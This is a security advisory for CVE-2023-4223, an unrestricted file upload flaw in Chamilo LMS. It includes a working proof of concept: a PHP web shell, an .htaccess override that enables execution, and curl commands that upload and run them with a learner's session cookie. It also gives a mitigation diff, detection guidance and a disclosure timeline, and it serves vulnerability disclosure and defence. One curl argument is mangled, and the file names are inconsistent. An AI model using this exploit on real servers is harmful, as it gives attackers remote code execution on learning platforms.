Summary
Product | Chamilo |
---|---|
Vendor | Chamilo |
Severity | High - Adversaries may exploit software vulnerabilities to obtain unauthenticated remote code execution. |
Affected Versions | <= v1.11.24 |
Tested Versions | v1.11.24 (latest version as of writing) |
CVE Identifier | CVE-2023-4223 |
CVE Description | Unrestricted file upload in /main/inc/ajax/document.ajax.php in Chamilo LMS <= v1.11.24 allows authenticated attackers with learner role to obtain remote code execution via uploading of PHP files. |
CWE Classification(s) | CWE-434: Unrestricted Upload of File with Dangerous Type |
CAPEC Classification(s) | CAPEC-650: Upload a Web Shell to a Web Server |
CVSS3.1 Scoring System
Base Score: 8.8 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Metric | Value |
---|---|
Attack Vector (AV) | Network |
Attack Complexity (AC) | Low |
Privileges Required (PR) | Low |
User Interaction (UI) | None |
Scope (S) | Unchanged |
Confidentiality (C) | High |
Integrity (I) | High |
Availability (A) | High |
Product Overview
Chamilo is an open-source PHP-based Learning Management System (LMS) that facilitates online education and training. It offers features such as course creation, content management, assessments, collaboration and delivering educational resources.
Vulnerability Summary
The largely-identical file upload chunking implementation used by main/inc/ajax/document.ajax.php
, main/inc/ajax/dropbox.ajax.php
, main/inc/ajax/exercise.ajax.php
and main/inc/ajax/work.ajax.php
does not impose any restrictions on the uploaded file. The uploaded file is written into SYS_ARCHIVE_PATH
, which defaults to /<path-to-webroot>/app/cache
. Although there is a .htaccess
file present in /<path-to-webroot>/app/cache
, it can be overwritten to permit execution of PHP files.
Consequently, an authenticated attacker with learner role may exploit these vulnerabilities to perform stored cross-site scripting attacks, as well as obtain remote code execution, via uploading of PHP files.
Note: This advisory details the first file upload vulnerability in main/inc/ajax/document.ajax.php
(CVE-2023-4223). The advisories for the other 3 vulnerabilites can be found here – CVE-2023-4224, CVE-2023-4225 and CVE-2023-4226.
Vulnerability Details
The vulnerable portion of /main/inc/ajax/document.ajax.php
is shown below:
...
$action = $_REQUEST['a'];
switch ($action) {
...
case 'upload_file':
api_protect_course_script(true);
if (isset($_REQUEST['chunkAction']) && 'send' === $_REQUEST['chunkAction']) {
// It uploads the files in chunks
if (!empty($_FILES)) {
$tempDirectory = api_get_path(SYS_ARCHIVE_PATH); // [1]
$files = $_FILES['files'];
$fileList = [];
foreach ($files as $name => $array) {
$counter = 0;
foreach ($array as $data) {
$fileList[$counter][$name] = $data;
$counter++;
}
}
if (!empty($fileList)) {
foreach ($fileList as $n => $file) {
$tmpFile = $tempDirectory.$file['name']; // [2]
file_put_contents( // [3]
$tmpFile,
fopen($file['tmp_name'], 'r'),
FILE_APPEND
);
}
}
}
...
}
...
...
}
exit;
At [1], $tempDirectory
is set to /<path-to-webroot/app/cache
. At [2], the user-supplied filename is used in constructing the destination filepath relative to $tempDirectory
.
At [3], the uploaded file is saved into the /app/cache
directory of the web root using the user-supplied filename. Since /app/cache
is meant to be writable by the webserver, it is possible to append to the /<path-to-webroot>/app/cache/.htaccess
to enable PHP execution.
Consequently, an attacker with learner role can simply upload a PHP web shell to obtain authenticated remote code execution.
Exploit Conditions
An attacker with learner role with access view a course, even if the user is not subscribed to the course, is expected to be able to execute this exploit scenario reliably.
Proof-of-Concept
- Ensure that a course named
test
withOpen
visibility (access permitted by all users registered on the platform) is created. - Log in to an account with learner role and note down the value of the
ch_sid
session cookie. - On the attacker’s machine, run the following commands to create the necessary files for the exploit:
$ echo '<?php system("id"); ?>' > rce.php
$ cat << 'EOF' > .htaccess
php_flag engine on
AcceptPathInfo on
<FilesMatch ".+">
order allow,deny
allow from all
</FilesMatch>
EOF
- Run the following shell commands on the attacker’s machine to upload the PHP web shell to the victim target:
$ curl -s -b 'ch_sid=<ch_sid_value>' 'http://<chamilo>/main/document/document.php?cidReq=TEST' $ curl -b 'ch_sid=<ch_sid_value>' -F 'files[0][email protected]' -F 'files[1][email protected]' 'http://<chamilo>/main/inc/ajax/document.ajax.php?a=upload_file&chunkAction=send' {"files":{"files":{"name":["shell.php",".htaccess"],"type":["",""],"tmp_name":["\/tmp\/phpDKFQTn","\/tmp\/php9IxoQn"],"error":[0,0],"size":[29,94]}},"errorStatus":0}
- Run the following command to execute the PHP web shell:
$ curl http://<chamilo>/app/cache/rce.php/ uid=33(www-data) gid=33(www-data) groups=33(www-data)
- Observe that the
id
shell command is successfully executed, confirming the unrestricted file upload vulnerability.
Suggested Mitigations
Ensure that the user-supplied filename is sanitised accordingly to prevent files with dangerous file extensions from being uploaded.
For example:
...
foreach ($fileList as $n => $file) {
- $tmpFile = $tempDirectory.$file['name'];
+ $sanitizedFileName = $disable_dangerous_file(
+ api_replace_dangerous_char($file['name'])
+ );
+ $tmpFile = $tempDirectory.$sanitizedFileName;
file_put_contents(
$tmpFile,
fopen($file['tmp_name'], 'r'),
FILE_APPEND
);
}
...
However, note that disable_dangerous_file()
only prevents PHP
and .htaccess
files, and do not prevent uploading of HTML
files. As such, it is still possible to achieve unauthenticated stored cross-site scripting (XSS) by uploading a HTML
file.
It is therefore recommended to enhance the implementation of disable_dangerous_file()
in main/inc/lib/fileUpload.lib.php to also prevent uploading of HTML
files.
Lastly, it is advised to add the following rules to the default .htaccess
file:
# Disallow direct access to /main/inc/lib/javascript/bigupload/files
RedirectMatch 403 ^/main/inc/lib/javascript/bigupload/files
# Disallow MIME sniffing to prevent XSS from unknown/incorrect file extensions
Header always set X-Content-Type-Options nosniff
End users are encouraged to update to the latest version of Chamilo.
Detection Guidance
It is possible to detect the exploitation of this vulnerability by:
- checking the server’s access logs for all requests made to
/main/inc/ajax/document.ajax.php
, - checking the server’s access logs for all requests made to
/app/cache/*
, and - checking
/app/cache/
directory for presence of modified.htaccess
orPHP
files.
Credits
Ngo Wei Lin (@Creastery) of STAR Labs SG Pte. Ltd. (@starlabs_sg)
Timeline
- 2023-09-04 Vendor Disclosure
- 2023-09-06 Initial Vendor Contact
- 2023-09-27 Vendor Patch Release (v1.11.26) completely fixing vulnerability
- 2023-09-29 Vendor published the vulnerability sumamry
- 2023-09-29 Mutual agreement to delay the publication of vulnerability details was reached in light of the recent in-the-wild exploitation of Chamilo N-day vulnerability (CVE-2023-34960)
- 2023-11-28 Public Release